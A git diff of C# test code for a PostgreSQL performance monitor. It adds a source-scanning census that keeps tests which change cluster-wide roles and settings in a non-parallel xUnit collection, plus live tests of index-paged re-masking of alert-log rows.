+    /// unnoticed, so a match that is not on this list fails, and a listed line that no longer matches fails too (#5602).
+    /// </summary>
+    internal static readonly IReadOnlyDictionary<string, string[]> PinnedSampleText = new Dictionary<string, string[]>(StringComparer.Ordinal)
+    {
+        ["PgStatementTextScrubLiveTests"] = new string[]
+        {
+            @"private const string Secret = ""ALTER ROLE app PASSWORD 'secret-x'"";",
+        },
+        ["StatementAnalysisReadCutLiveTests"] = new string[]
+        {
+            @"var marker = ""SELECT marker_pg_ssf"" + string.Concat(Enumerable.Repeat("", 1"", 800)) + "" ; CREATE ROLE zz_ssf"";",
+        },
+        ["StoreLogRemaskLiveTests"] = new string[]
+        {
+            @"Prefix + ""ERROR:  canceling statement due to statement timeout\n"" + Prefix + ""STATEMENT:  ALTER ROLE admin PASSWORD 'Remask3915a'""),",
+        },
+        ["StoreStatementStatsLiveTests"] = new string[]
+        {
+            @"(""ALTER ROLE app PASSWORD 'x'"", false, true),",
+            @"(""ALTER SYSTEM SET primary_conninfo = 'host=x password=hunter2'"", false, true),",
+            @"(""ALTER ROLE app PASSWORD $$x$$"", false, true),",
+            @"(""ALTER ROLE app PASSWORD E'x'"", false, true),",
+        },
+    };
+
+    [Fact]
+    public void TheCollectionThatRunsAlone_IsDefinedWithParallelizationOff()
+    {
+        var definition = typeof(PgClusterRolesCollection).GetCustomAttribute<CollectionDefinitionAttribute>();
+        Assert.NotNull(definition);
+        Assert.Equal(CollectionName, definition!.Name);
+        Assert.True(definition.DisableParallelization,
+            $"The '{CollectionName}' collection exists so its members run alone, after every parallel collection (#5602). "
+            + "Without DisableParallelization it is only another collection that overlaps the rest, and the census below "
+            + "would be pointing tests at a lock that does not exist.");
+    }
+
+    [Fact]
+    public void EveryLiveClassThatChangesAClusterWideObjectUnderAFixedName_RunsInThePgClusterRolesCollection_OrIsAllowListed()
+    {
+        var offenders = new List<string>();
+        var allowed = new HashSet<string>(StringComparer.Ordinal);
+        foreach (var hit in ScanClasses())
+        {
+            if (hit.InCollection)
+            {
+                continue;
+            }
+
+            if (AllowList.ContainsKey(hit.ClassName))
+            {
+                allowed.Add(hit.ClassName);
+                if (PinnedSampleText.TryGetValue(hit.ClassName, out var pinned) && !pinned.Contains(hit.Text, StringComparer.Ordinal))
+                {
+                    offenders.Add($"{hit.File}:{hit.Line}  {hit.ClassName}  [{hit.Rule}]  {hit.Text}  (NOT PINNED: this class is allowed only for the sample statement text listed in PgClusterObjectCensusTests.PinnedSampleText)");
+                }
+
+                continue;
+            }
+
+            offenders.Add($"{hit.File}:{hit.Line}  {hit.ClassName}  [{hit.Rule}]  {hit.Text}");
+        }
+
+        Assert.True(offenders.Count == 0,
+            "These test classes reach the DARLING_TEST_PG cluster and change a cluster-wide Postgres object (a role, a "
+            + "grant, a role or database setting, ALTER SYSTEM) under a fixed name, or run a product entry point that "
+            + "writes the fixed admin/viewer/mcp roles, yet they are not in the " + CollectionName + " collection:\n\n"
+            + string.Join("\n", offenders)
+            + "\n\nPick one, deliberately (#5602):\n"
+            + $"  - Add [Collection(\"{CollectionName}\")] (a DisableParallelization collection: it runs alone) when the test must "
+            + "write the fixed roles or the cluster settings.\n"
+            + "  - Give the object a name built from the scratch database name or a per-run token ({...}), so no other test can see it.\n"
+            + "  - Or add the class to PgClusterObjectCensusTests.AllowList with the reason it is safe.");
+    }
+
+    [Fact]
+    public void EveryAllowListEntry_StillMatchesARuleInAClassThatReachesTheCluster()
+    {
+        var matched = ScanClasses().Where(h => !h.InCollection).Select(h => h.ClassName).ToHashSet(StringComparer.Ordinal);
+        var stale = AllowList.Keys.Where(name => !matched.Contains(name)).OrderBy(name => name, StringComparer.Ordinal).ToList();
+
+        Assert.True(stale.Count == 0,
+            "These allow-list entries no longer match anything (the class was removed, joined the "
+            + CollectionName + " collection, or stopped doing the thing). Delete them:\n" + string.Join("\n", stale));
+
+        foreach (var (name, reason) in AllowList)
+        {
+            Assert.False(string.IsNullOrWhiteSpace(reason), $"allow-list entry {name} needs a reason");
+        }
+    }
+
+    [Fact]
+    public void EveryPinnedSampleStatement_StillMatchesInItsClass()
+    {
+        var seen = ScanClasses().Where(h => !h.InCollection).Select(h => (h.ClassName, h.Text)).ToHashSet();
+        var stale = PinnedSampleText
+            .SelectMany(p => p.Value.Select(text => (Class: p.Key, Text: text)))
+            .Where(p => !seen.Contains((p.Class, p.Text)))
+            .Select(p => p.Class + "  " + p.Text)
+            .ToList();
+
+        Assert.True(stale.Count == 0,
+            "These pinned sample statements no longer match a rule in their class (the line changed or went away). Update or delete them in "
+            + "PgClusterObjectCensusTests.PinnedSampleText:\n" + string.Join("\n", stale));
+
+        foreach (var name in PinnedSampleText.Keys)
+        {
+            Assert.True(AllowList.ContainsKey(name), $"pinned class {name} is not on the allow list");
+        }
+    }
+
+    // ---- rules -------------------------------------------------------------------------------------------
+
+    /// <summary>(rule name, pattern). A pattern matches one code line; a name built with <c>{</c> never matches.</summary>
+    private static readonly (string Name, Regex Pattern)[] Rules =
+    {
+        ("role DDL with a literal name",
+            new Regex(@"\b(?:CREATE|ALTER|DROP)\s+(?:ROLE|USER)\s+(?:IF\s+(?:NOT\s+)?EXISTS\s+)?(?!IF\b|NOT\b|EXISTS\b)[A-Za-z_]\w*", RegexOptions.Compiled)),
+        ("DROP OWNED BY a literal role",
+            new Regex(@"\bDROP\s+OWNED\s+BY\s+[A-Za-z_]\w*", RegexOptions.Compiled)),
+        ("GRANT/REVOKE to or from a literal role",
+            new Regex(@"\b(?:GRANT\b[^;""]*?\sTO|REVOKE\b[^;""]*?\sFROM)\s+(?!PUBLIC\b|pg_|CURRENT_USER\b|SESSION_USER\b)[A-Za-z_]\w*", RegexOptions.Compiled)),
+        ("ALTER SYSTEM",
+            new Regex(@"\bALTER\s+SYSTEM\s+(?:SET|RESET)\b", RegexOptions.Compiled)),
+        ("ALTER DATABASE with a literal name",
+            new Regex(@"\bALTER\s+DATABASE\s+[A-Za-z_]\w*\s+SET\b", RegexOptions.Compiled)),
+        ("database-level grant on a literal database",
+            new Regex(@"\bON\s+DATABASE\s+[A-Za-z_]\w*", RegexOptions.Compiled)),
+        ("product entry point that writes the fixed roles",
+            new Regex(@"\b(?:EnsureProvisionedAsync|EnsureComposeStoreProvisionedAsync|ProvisionComposeStoreAsync|ProvisionRolesAsync|ReassertComposeStatementTimeoutAsync|BuildProvisioningSql|BuildComposeStatementTimeoutSql)\s*\(", RegexOptions.Compiled)),
+        ("the fixed role-name constants",
+            new Regex(@"\bDarlingManagedPostgres\.(?:Admin|Viewer|Mcp)RoleName\b", RegexOptions.Compiled)),
+    };
+
+    private static readonly Regex ClassDeclaration =
+        new(@"^(?:public|internal)\s+(?:sealed\s+|static\s+|abstract\s+|partial\s+)*class\s+(\w+)",
+            RegexOptions.Compiled | RegexOptions.Multiline);
+
+    private static readonly Regex BlockComment = new(@"/\*.*?\*/", RegexOptions.Compiled | RegexOptions.Singleline);
+
+    private static readonly Regex LineComment = new(@"//[^\r\n]*", RegexOptions.Compiled);
+
+    private sealed record Hit(string File, int Line, string ClassName, string Rule, string Text, bool InCollection);
+
+    private static List<Hit> ScanClasses()
+    {
+        var directory = FindTestProjectDirectory();
+        Assert.True(directory is not null,
+            "Could not locate the Darling.Tests source directory (walked up from the test binary looking for "
+            + "PerformanceMonitor.sln). This test scans source, so it fails rather than skips: a guard that skips stops guarding.");
+
+        var thisFile = Path.GetFileName(ThisSourceFile());
+        var hits = new List<Hit>();
+        foreach (var file in Directory.EnumerateFiles(directory!, "*.cs", SearchOption.AllDirectories))
+        {
+            if (HasBuildOutputSegment(Path.GetRelativePath(directory!, file))
+                || string.Equals(Path.GetFileName(file), thisFile, StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var text = StripComments(File.ReadAllText(file));
+            if (!ReachesCluster(text))
+            {
+                continue;
+            }
+
+            var declarations = ClassDeclaration.Matches(text);
+            for (var i = 0; i < declarations.Count; i++)
+            {
+                var declaration = declarations[i];
+                var end = i + 1 < declarations.Count ? declarations[i + 1].Index : text.Length;
+                var body = text[declaration.Index..end];
+                if (!ReachesCluster(body))
+                {
+                    continue;
+                }
+
+                var inCollection = HeaderAbove(text, declaration.Index).Contains($"[Collection(\"{CollectionName}\")]", StringComparison.Ordinal);
+                var firstLine = text.AsSpan(0, declaration.Index).Count('\n') + 1;
+                var lines = body.Split('\n');
+                for (var n = 0; n < lines.Length; n++)
+                {
+                    var line = lines[n];
+                    if (line.Contains("Assert.", StringComparison.Ordinal) || line.Contains("Regex", StringComparison.Ordinal))
+                    {
+                        continue;
+                    }
+
+                    foreach (var (name, pattern) in Rules)
+                    {
+                        if (pattern.IsMatch(line))
+                        {
+                            hits.Add(new Hit(Path.GetFileName(file), firstLine + n, declaration.Groups[1].Value, name, line.Trim(), inCollection));
+                            break;
+                        }
+                    }
+                }
+            }
+        }
+
+        return hits;
+    }
+
+    private static bool ReachesCluster(string source) => SharedClusterReach.Any(token => source.Contains(token, StringComparison.Ordinal));
+
+    /// <summary>Blanks comments but keeps every newline, so a reported line number is the file's own.</summary>
+    private static string StripComments(string source)
+    {
+        var withoutBlocks = BlockComment.Replace(source, m => new string('\n', m.Value.Count(c => c == '\n')));
+        return LineComment.Replace(withoutBlocks, string.Empty);
+    }
+
+    private static string HeaderAbove(string text, int declarationIndex)
+    {
+        var start = declarationIndex;
+        for (var lines = 0; lines < 25 && start > 0; lines++)
+        {
+            var previous = text.LastIndexOf('\n', start - 1);
+            if (previous < 0)
+            {
+                start = 0;
+                break;
+            }
+
+            start = previous;
+        }
+
+        return text[start..declarationIndex];
+    }
+
+    private static bool HasBuildOutputSegment(string relativePath) =>
+        relativePath.Split('/', '\\').Any(segment =>
+            string.Equals(segment, "bin", StringComparison.OrdinalIgnoreCase) || string.Equals(segment, "obj", StringComparison.OrdinalIgnoreCase));
+
+    private static string ThisSourceFile([CallerFilePath] string? path = null) => path!;
+
+    private static string? FindTestProjectDirectory()
+    {
+        var directory = new DirectoryInfo(AppContext.BaseDirectory);
+        for (var i = 0; i < 10 && directory is not null; i++)
+        {
+            if (File.Exists(Path.Combine(directory.FullName, "PerformanceMonitor.sln")))
+            {
+                var source = Path.Combine(directory.FullName, "Darling", "Darling.Tests");
+                return Directory.Exists(source) ? source : null;
+            }
+
+            directory = directory.Parent;
+        }
+
+        return null;
+    }
+}
diff --git a/Darling/Darling.Tests/PgClusterRolesCollection.cs b/Darling/Darling.Tests/PgClusterRolesCollection.cs
new file mode 100644
index 0000000000..5f12142f28
--- /dev/null
+++ b/Darling/Darling.Tests/PgClusterRolesCollection.cs
@@ -0,0 +1,44 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The one place that runs the live classes whose effect is not confined to their own scratch database (#5602).
+///
+/// <para><c>ScratchPostgres</c> gives a test its own database, but a role, a role membership, a database-level
+/// grant, an <c>ALTER ROLE ... SET</c> and an <c>ALTER SYSTEM</c> write live in the CLUSTER's catalogs and
+/// <c>postgresql.auto.conf</c>. Two tests that wrote the same one of them at the same time made Postgres refuse
+/// the second with "tuple concurrently updated" (#5560). The product provisions FIXED role names
+/// (<c>admin</c>, <c>viewer</c>, <c>mcp</c>), so any test that runs the product's provisioning batch, or drops or
+/// alters those roles, shares them with every other such test whatever scratch database it aims at, and a test
+/// cannot rename them without a product change.</para>
+///
+/// <para>Tests whose roles carry a per-run name (a GUID suffix, or the scratch database's name) need nothing:
+/// nobody else can see the catalog row they write. This collection is for the rest. It carries
+/// <c>DisableParallelization</c>, so xUnit runs it alone, after every parallel collection has finished: nothing
+/// else touches the cluster while a member runs. That is stronger than <c>live-postgres</c>, whose members only
+/// take turns with each other and still overlap every class outside the collection.</para>
+///
+/// <para>It deliberately has no collection fixture: its members build their own scratch database (or change
+/// only cluster settings), so none of them reads the shared store's migrated tables, and a second
+/// <see cref="LivePostgresStoreFixture"/> would run its residue check against a store the parallel collections
+/// are still writing. <see cref="PgClusterObjectCensusTests"/> fails when a live class changes a cluster-wide
+/// object under a fixed name and is neither here nor on its allow list.</para>
+///
+/// <para><see cref="PublicConnectGuardAttribute"/> (#5618) runs around every test in it and fails the one that leaves
+/// PUBLIC without CONNECT on the shared test database. The product's managed batch revokes it, the privilege is
+/// cluster-wide, and the tests after the one that did it fail with "permission denied for database".</para>
+/// </summary>
+[CollectionDefinition("pg-cluster-roles", DisableParallelization = true)]
+[PublicConnectGuard]
+public sealed class PgClusterRolesCollection
+{
+}
diff --git a/Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs b/Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs
index 946a4bc939..99b548342d 100644
--- a/Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs
+++ b/Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs
@@ -46,6 +46,8 @@ namespace Darling.Tests;
 /// runtime exception and a passing unit test otherwise); a null PI <c>Value</c> becomes NULL and never 0;
 /// and the four metric queries cannot be conflated into four CPU readings.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class PgCpuCapacityHeadroomTests
 {
     internal const int RungVersion = 115;
diff --git a/Darling/Darling.Tests/PgDeadlockRemaskAlertPagingLiveTests.cs b/Darling/Darling.Tests/PgDeadlockRemaskAlertPagingLiveTests.cs
new file mode 100644
index 0000000000..1084dd9b69
--- /dev/null
+++ b/Darling/Darling.Tests/PgDeadlockRemaskAlertPagingLiveTests.cs
@@ -0,0 +1,833 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Notifications;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5625: the two <c>config_alert_log</c> stages of the hourly re-mask (deadlock alerts, finding alerts) walk the log
+/// one server (and, for finding alerts, one metric) at a time through <c>idx_config_alert_log_time (server_id,
+/// metric_name, alert_time)</c>, so a page reads a range bounded by its size whatever the log holds. They used to
+/// filter on the metric alone, which that index cannot serve: every page read every deadlock alert (a Bitmap Heap Scan
+/// and a Sort) or the whole log (a Seq Scan), which timed out on a large store. Seeded server-side at about 500,000
+/// alert rows over 50 servers; no assertion reads the clock. The plans hold on PostgreSQL 16, 17 and 18 because each
+/// read is an equality on the index's leading columns and a range on its last (and the steps between servers and
+/// metrics are a leading-column descent and a row comparison on the first two columns): nothing here relies on PG 18's
+/// skip scan.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")], like PgDeadlockRemaskTests. The test reaches
+   DARLING_TEST_PG only to CREATE and DROP its own database through ScratchPostgres, then works entirely inside it: the
+   walks read the whole log, so they must not meet another class's alerts. Leave it out; this comment is here so the
+   next sweep does not "fix" it. */
+public sealed class PgDeadlockRemaskAlertPagingLiveTests
+{
+    private const int Servers = 50;
+    private const int FillerAlerts = 500_000;
+    private const int RawDeadlockAlerts = 1_600;
+    private const int CurrentDeadlockAlerts = 2_500;
+    private const int FindingDecoys = 40_000;
+    private static readonly string[] s_rawDeadlockServers = ["2", "9", "30", "49"];
+
+    private static readonly PgLogHashKey s_key = new(Enumerable.Range(1, PgLogHashKey.KeyLength).Select(i => (byte)i).ToArray());
+
+    /// <summary>The deadlock walk: each statement is a range of the index bounded by the page, a page with nothing to
+    /// read ends on the next server, and the walk reaches and rewrites every raw alert once, ties included.</summary>
+    [Fact]
+    public async Task DeadlockAlerts_ArePagedPerServerThroughTheIndex_AndTheWalkRewritesEveryRowOnce()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live alert paging test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await SeedAsync(connection, ct);
+
+        /* A server's slice: an index range, one search, no row filtered after its read, and a fixed few buffers
+           whatever the log holds (the old page read every deadlock row of every server). */
+        var slice = await ExplainAsync(connection, PgDeadlockRemask.AlertPageSql,
+        [
+            Param(9, NpgsqlDbType.Integer), Param(null, NpgsqlDbType.Timestamp), Param((long)PgDeadlockRemask.MaxAlertRowsPerPass, NpgsqlDbType.Bigint),
+        ], ct);
+        AssertIndexRange(slice, "the deadlock slice");
+        AssertEquality(slice, "the deadlock slice", "server_id", "metric_name");
+        Assert.True(
+            slice.RowsRead <= PgDeadlockRemask.MaxAlertRowsPerPass + 20,
+            $"a slice read {slice.RowsRead} rows from the log; its page is {PgDeadlockRemask.MaxAlertRowsPerPass} (the old page read every deadlock alert: {RawDeadlockAlerts + CurrentDeadlockAlerts})");
+        Assert.True(
+            slice.Buffers <= 2L * PgDeadlockRemask.MaxAlertRowsPerPass + 200,
+            $"a slice read {slice.Buffers} buffers; its page is {PgDeadlockRemask.MaxAlertRowsPerPass} rows");
+
+        /* A server with no alert at all: nothing to read, and the same few buffers. */
+        var none = await ExplainAsync(connection, PgDeadlockRemask.AlertPageSql,
+        [
+            Param(Servers + 1, NpgsqlDbType.Integer), Param(null, NpgsqlDbType.Timestamp), Param((long)PgDeadlockRemask.MaxAlertRowsPerPass, NpgsqlDbType.Bigint),
+        ], ct);
+        AssertIndexRange(none, "the empty deadlock slice");
+        Assert.True(none.Buffers <= 40, $"an empty slice read {none.Buffers} buffers");
+
+        /* The step to the next server is one descent of the index's leading column. */
+        var probe = await ExplainAsync(connection, PgDeadlockRemask.AlertServerProbeSql, [Param(6L, NpgsqlDbType.Bigint)], ct);
+        AssertIndexRange(probe, "the server probe");
+        Assert.True(probe.Buffers <= 40, $"a server probe read {probe.Buffers} buffers");
+
+        /* The walk. Every page moves the cursor; a page examines at most its size plus the rows tied with its last. */
+        PgDeadlockRemask.AlertLogCursor? cursor = null;
+        int pages = 0, examined = 0, rewritten = 0, raced = 0;
+        do
+        {
+            var (next, e, w, r) = await PgDeadlockRemask.RemaskStoredAlertsAsync(connection, cursor, s_key, true, null, ct);
+            Assert.True(next is null || next != cursor, "the cursor must move on every page");
+            Assert.True(e <= PgDeadlockRemask.MaxAlertRowsPerPass + 20, $"a page examined {e} rows");
+            pages++;
+            examined += e;
+            rewritten += w;
+            raced += r;
+            cursor = next;
+        }
+        while (cursor is not null);
+
+        Assert.Equal(RawDeadlockAlerts + CurrentDeadlockAlerts, examined);
+        Assert.Equal(RawDeadlockAlerts, rewritten);
+        Assert.Equal(0, raced);
+        Assert.InRange(pages, (RawDeadlockAlerts + CurrentDeadlockAlerts) / PgDeadlockRemask.MaxAlertRowsPerPass, (RawDeadlockAlerts + CurrentDeadlockAlerts) / PgDeadlockRemask.MaxAlertRowsPerPass + Servers);
+        Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM config_alert_log WHERE context_json LIKE '%Leak5625%'", ct));
+
+        /* A second walk finds nothing left to rewrite. */
+        cursor = null;
+        var again = 0;
+        do
+        {
+            var (next, _, w, _) = await PgDeadlockRemask.RemaskStoredAlertsAsync(connection, cursor, s_key, false, null, ct);
+            again += w;
+            cursor = next;
+        }
+        while (cursor is not null);
+
+        Assert.Equal(0, again);
+    }
+
+    /// <summary>The finding-alert walk: each statement is a range of the index for one server and metric, found by a
+    /// loose scan of the metric names, so no range on <c>metric_name</c> (and no collation question) is needed; the
+    /// cursor moves on a page that rewrites nothing; older-than-the-section rows are never read; and every raw alert
+    /// is rewritten once, ties included.</summary>
+    [Fact]
+    public async Task FindingAlerts_ArePagedPerServerAndMetricThroughTheIndex_AndTheWalkRewritesEveryRowOnce()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live alert paging test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await SeedAsync(connection, ct);
+        var (drillDown, story) = PgDeadlockRemaskTests.LegacyFinding();
+        var (metric, rawContext) = PgDeadlockRemaskTests.LegacyFindingAlert(drillDown, story, "5625abcd00000000");
+        var (olderMetric, olderContext) = PgDeadlockRemaskTests.LegacyFindingAlert(drillDown, story, "5625e0e000000000");
+        var plantedAt = new DateTime(2026, 10, 6, 12, 0, 0, DateTimeKind.Unspecified);
+        var olderAt = new DateTime(2026, 9, 5, 12, 0, 0, DateTimeKind.Unspecified);
+        var planted = 0;
+        foreach (var (server, offset) in new[] { (1, 0), (17, 0), (17, 0), (17, 60), (33, 0), (50, 0), (50, 120) })
+        {
+            await PlantAsync(connection, server, metric, plantedAt.AddSeconds(offset), rawContext, ct);
+            planted++;
+        }
+
+        await PlantAsync(connection, 17, olderMetric, olderAt, olderContext, ct);
+        await PlantAsync(connection, 17, metric, olderAt, rawContext, ct);
+        await ExecuteAsync(connection, "ANALYZE config_alert_log", ct);
+
+        /* A (server, metric) slice: one search of the index, the time bound an index condition (an older row is never
+           read), no row filtered after its read, and a few buffers. */
+        var decoyMetric = await TextAsync(connection, "SELECT metric_name FROM config_alert_log WHERE server_id = 9 AND metric_name LIKE 'Analysis: decoy%' ORDER BY metric_name LIMIT 1", ct);
+        var slice = await ExplainAsync(connection, PgDeadlockRemask.FindingAlertPageSql,
+        [
+            Param(9, NpgsqlDbType.Integer), Param(decoyMetric, NpgsqlDbType.Text), Param(null, NpgsqlDbType.Timestamp), Param((long)PgDeadlockRemask.MaxFindingAlertRowsPerPass, NpgsqlDbType.Bigint),
+        ], ct);
+        AssertIndexRange(slice, "the finding alert slice");
+        AssertEquality(slice, "the finding alert slice", "server_id", "metric_name");
+        Assert.Contains(slice.IndexConditions, condition => condition.Contains("alert_time >=", StringComparison.Ordinal));
+        Assert.True(slice.RowsRead <= PgDeadlockRemask.MaxFindingAlertRowsPerPass + 20, $"a slice read {slice.RowsRead} rows from the log; its page is {PgDeadlockRemask.MaxFindingAlertRowsPerPass}");
+        Assert.True(slice.Buffers <= 2L * PgDeadlockRemask.MaxFindingAlertRowsPerPass + 200, $"a slice read {slice.Buffers} buffers");
+
+        /* The loose scan between metrics: a row comparison on the index's first two columns. */
+        var step = await ExplainAsync(connection, PgDeadlockRemask.AlertPairNextSql,
+            [Param(9, NpgsqlDbType.Integer), Param(decoyMetric, NpgsqlDbType.Text)], ct);
+        AssertIndexRange(step, "the metric step");
+        Assert.True(step.Buffers <= 40, $"a metric step read {step.Buffers} buffers");
+        var first = await ExplainAsync(connection, PgDeadlockRemask.AlertPairFirstSql, [], ct);
+        AssertIndexRange(first, "the first metric");
+        Assert.True(first.Buffers <= 40, $"the first metric read {first.Buffers} buffers");
+
+        /* A page that examines decoys needing nothing (server 5 has no planted alert): the cursor moves anyway. */
+        var start = new PgDeadlockRemask.AlertLogCursor(5, "Analysis: ", null);
+        var (afterFirst, firstExamined, firstRewritten, _) = await PgDeadlockRemask.RemaskStoredFindingAlertsAsync(connection, start, null, ct);
+        Assert.NotNull(afterFirst);
+        Assert.NotEqual(start, afterFirst);
+        Assert.InRange(firstExamined, PgDeadlockRemask.MaxFindingAlertRowsPerPass, PgDeadlockRemask.MaxFindingAlertRowsPerPass + 20);
+        Assert.Equal(0, firstRewritten);
+
+        /* The whole walk. */
+        PgDeadlockRemask.AlertLogCursor? cursor = null;
+        int pages = 0, examined = 0, rewritten = 0, raced = 0;
+        do
+        {
+            var (next, e, w, r) = await PgDeadlockRemask.RemaskStoredFindingAlertsAsync(connection, cursor, null, ct);
+            Assert.True(next is null || next != cursor, "the cursor must move on every page");
+            Assert.True(e <= PgDeadlockRemask.MaxFindingAlertRowsPerPass + 20, $"a page examined {e} alerts");
+            pages++;
+            examined += e;
+            rewritten += w;
+            raced += r;
+            cursor = next;
+        }
+        while (cursor is not null);
+
+        Assert.Equal(planted, rewritten);
+        Assert.Equal(0, raced);
+        Assert.Equal(
+            await ScalarAsync(connection, "SELECT count(*) FROM config_alert_log WHERE metric_name LIKE 'Analysis: %' AND alert_time >= '2026-09-18'", ct),
+            examined);
+        Assert.InRange(pages, examined / (PgDeadlockRemask.MaxFindingAlertRowsPerPass + 20), examined / PgDeadlockRemask.MaxFindingAlertRowsPerPass + 2);
+
+        /* Every planted row changed once; the two older than the section are still as they were (never read). */
+        Assert.Equal(
+            (long)planted,
+            await CountAsync(connection, "SELECT count(*) FROM config_alert_log WHERE metric_name = $1 AND alert_time >= '2026-09-18' AND context_json <> $2", metric, rawContext, ct));
+        Assert.Equal(
+            1L,
+            await CountAsync(connection, "SELECT count(*) FROM config_alert_log WHERE metric_name = $1 AND alert_time < '2026-09-18' AND context_json = $2", metric, rawContext, ct));
+        Assert.Equal(
+            1L,
+            await CountAsync(connection, "SELECT count(*) FROM config_alert_log WHERE metric_name = $1 AND alert_time < '2026-09-18' AND context_json = $2", olderMetric, olderContext, ct));
+
+        /* A second walk rewrites nothing. */
+        cursor = null;
+        var again = 0;
+        do
+        {
+            var (next, _, w, _) = await PgDeadlockRemask.RemaskStoredFindingAlertsAsync(connection, cursor, null, ct);
+            again += w;
+            cursor = next;
+        }
+        while (cursor is not null);
+
+        Assert.Equal(0, again);
+    }
+
+    /// <summary>An empty log ends both walks at once, and a cursor past the log's last server does too.</summary>
+    [Fact]
+    public async Task AnEmptyLog_AndACursorPastTheEnd_EndBothWalks()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live alert paging test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        Assert.Equal(((PgDeadlockRemask.AlertLogCursor?)null, 0, 0, 0), await PgDeadlockRemask.RemaskStoredAlertsAsync(connection, null, s_key, true, null, ct));
+        Assert.Equal(((PgDeadlockRemask.AlertLogCursor?)null, 0, 0, 0), await PgDeadlockRemask.RemaskStoredFindingAlertsAsync(connection, null, null, ct));
+
+        await PlantAsync(connection, 3, AlertEngine.DeadlockWatermarkMetric, new DateTime(2026, 10, 6, 12, 0, 0, DateTimeKind.Unspecified), "{}", ct);
+        var pastTheEnd = new PgDeadlockRemask.AlertLogCursor(int.MaxValue, AlertEngine.DeadlockWatermarkMetric, new DateTime(2030, 1, 1, 0, 0, 0, DateTimeKind.Unspecified));
+        Assert.Equal(((PgDeadlockRemask.AlertLogCursor?)null, 0, 0, 0), await PgDeadlockRemask.RemaskStoredAlertsAsync(connection, pastTheEnd, s_key, true, null, ct));
+        Assert.Equal(((PgDeadlockRemask.AlertLogCursor?)null, 0, 0, 0), await PgDeadlockRemask.RemaskStoredFindingAlertsAsync(connection, pastTheEnd, null, ct));
+    }
+
+    /// <summary>The slice also looks up the stored reports its incidents name (the <c>reports</c> CTE, by server and
+    /// hash). With 100,000 stored reports over 50 servers and a slice of 450 alerts whose keys all match stored
+    /// reports, that lookup goes through <c>idx_pg_deadlocks_identity (server_id, deadlock_hash)</c>, never a scan of the
+    /// table, and reads only the keys' own rows. No migration: the index is V104's.</summary>
+    [Fact]
+    public async Task TheReportLookupOfASlice_UsesTheIdentityIndex_AndReadsOnlyTheSlicesKeys()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live alert paging test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        const string dummyKey = "00000000000000000000000000000000";
+        var template = AlertContextSerializer.Serialize(new AlertContext { Incidents = [new AlertIncident(dummyKey, ["UPDATE t SET c = 1"])] });
+        Assert.Contains(dummyKey, template, StringComparison.Ordinal);
+
+        /* 100,000 stored reports over 50 servers, each its own hash. */
+        await ExecuteAsync(connection, @"
+INSERT INTO pg_deadlocks
+    (collection_id, collection_time, server_id, server_name, occurred_at, victim_pid, participant_count, deadlock_hash, graph_text)
+SELECT g, timestamp '2026-10-01' + g * interval '20 seconds', 1 + g % 50, 'example-pg-' || (1 + g % 50),
+       timestamp '2026-10-01' + g * interval '20 seconds' - interval '5 seconds', 1000 + g % 5000, 2,
+       upper(md5(g::text)), 'Process 1 waits for ShareLock on transaction ' || g
+FROM generate_series(1, 100000) AS g", ct);
+
+        /* 450 deadlock alerts on server 9, each naming the hash of one of that server's stored reports (g = 8 + 50 i). */
